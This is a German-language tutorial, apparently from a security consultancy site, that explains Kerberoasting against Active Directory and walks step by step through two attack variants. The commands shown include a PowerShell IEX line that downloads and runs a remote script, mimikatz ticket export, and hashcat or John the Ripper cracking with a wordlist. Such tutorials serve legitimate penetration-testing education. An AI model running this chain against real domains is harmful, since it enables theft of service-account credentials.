Kerberoasting
Bei Kerberoasting geht es drum, Passwort-Hashes von privilegierten Service-Accounts mittels Brute-Force zu knacken, um so an entsprechende Klartext-Passwörter zu gelangen. Dabei zielt diese Technik vor allem auf „Sonderfälle“ ab, bei denen ein von Hand angelegter Service-Account mit einem SPN verknüpft wurde, so dass zur Verschlüsselung nicht das standardmäßig starke, 120-Zeichen lange Passwort des Computer$-Accounts, sondern das (unter Umständen schwache) Passwort des entsprechenden Service-Accounts verwendet wird.
Der Angreifer muss also zunächst wissen, welche Kerberos SPNs mit einem selbst angelegten Service-Account verknüpft sind. „Erfreulicherweise“ kann jeder Benutzer einer Domäne (ohne administrativen Rechte!) anfragen, welche SPNs es auf der Domäne gibt und mit welchen Accounts Sie verknüpft sind. Dadurch können Angreifer im Vorfeld in Erfahrung bringen, bei welchen SPNs ein solcher Angriff funktionieren könnte und bei welchen es sich nicht anzugreifen lohnt, da Sie mit dem komplexen Passwort des Computer$-Accounts verschlüsselt sind. Voraussetzung für diese Art von Angriff ist lediglich, dass der Angreifer Mitglied der Domäne ist.
Um das Prinzip zu verstehen, schauen wir uns noch einmal die Kerberos Authentifizierungsschritte an:
-
In Schritt 3 wird mit dem Benutzer-TGT ein Service Ticket für einen SPN (z. B. cifs@fileserver) beim TGS angefragt.
-
In Schritt 4 sendet der TGS ein mit dem Passwort des Computer$- oder Service-Accounts verschlüsselten Service-Ticket für den angefragten SPN zurück.
Diese beiden Schritte können beliebig oft für beliebige SPN wiederholt werden, ohne dass der eigentliche Zielserver (in dem o. g. Beispiel ein Fileserver) kontaktiert werden muss. Um dies nicht von Hand tun zu müssen, existieren zahlreiche Skripte im Internet.
Eines dieser Skripte ist von Tim Medin, dem Entdecker der Kerberoasting-Technik:
Kerberoasting Angriff durchführen
Variante 1: GetUserSPN + mimikatz
An dieser Stelle kommt das folgende nützliche PowerShell Skript zum Einsatz, welches alle SPNs einer Domäne auflistet, die Benutzerkonten verwenden und deshalb für Kerberoasting-Angriff geeignet wären:
https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1
Das Skript erfordert keine Administratorrechte d. h. jeder beliebige Domänenbenutzer kann es ausführen. Um das Skript direkt aus Github zu laden und auszuführen, kann folgender Powershell-Befehl verwendet werden (Hinweis: Fremde Skripte sollte man grundsätzlich immer überprüfen oder überprüfen lassen, bevor man Sie ausführt):
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1')
Nach dem Ausführen werden alle SPNs angezeigt, die mit einem selbst angelegten Service-Account verknüpft sind.
Hat der Angreifer sein anzugreifendes SPN ermittelt, kann er sich mit folgenden Powershell-Befehlen ein Service-Ticket ausstellen lassen:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList IIS-Benutzer/fileserver.whitehat.de:80
Das ausgestellte Ticket kann anschließend mithilfe von mimikatz aus dem RAM (Arbeitsspeicher) extrahiert werden:
kerberos::list /export
Danach sollten sich alle extrahierten Kerberos-Tickets (mit der Dateiendung .kirbi) im Verzeichnis von mimikatz befinden. Diese .kirbi-Dateien können zu guter Letzt in ein für John-The-Ripper crackbares Format konvertiert werden. Hierfür bietet John-The-Ripper das „kirbi2john.py“ Skript. In Kali-Linux liegt es, sofern John-The-Ripper installiert ist, unter:
-
/user/share/john/kirbi2john.py
Zum Konvertieren einer .kirbi Datei könnte unter Kali-Linux also folgender Befehl eingegeben werden:
python /usr/share/john/kirbi2john.py DATEINAME.kirbi > DATEINAME.txt
Konvertierte Dateien können dann mittels John-The-Ripper gecrackt werden.
john --format=krb5tgs 1-40210000-benutzer1@IIS-Benutzer~fileserver.whitehat.de~80-WHITEHAT.DE.kirbi.txt --wordlist=/usr/share/wordlists/rockyou.txt
Der Hash konnte erfolgreich geknackt werden. Das Klartextpasswort lautet "www.WhiteHat.de".
Variante 2: Invoke-Kerberoast
Mit dem Skript „Invoke-Kerberoast.ps1” des „PowerShell-Empire” Projekts gibt es inzwischen eine bequemere Variante, einen Kerberoasting Angriff durchzuführen. Hierbei werden praktischerweise direkt Formate erzeugt, welche mit John-The-Ripper oder Hashcat gecrackt werden können, so dass keine manuelle Konvertierung vorgenommen werden muss. Das Skript kann aus folgender Quelle bezogen werden:
Ausführen lässt sich das Skript dann wie folgt:
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Format Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation | Out-File kerberoast-hashes.csv
Anschließend können die zu crackenden Passwort-Hashes aus der CSV-Datei kopiert und z. B. in eine Textdatei abgelegt werden, um sie mit Hashcat zu laden. Um einen solchen Hash dann in Hashcat zu cracken, kann folgender Befehl ausgeführt werden:
hashcat -m 13100 -a0 kerberoast-hash.txt /usr/share/wordlists/rockyou.txt -O
Der Hash wurde gecrackt und das Klartextpasswort ("www.WhiteHat.de") ausgegeben.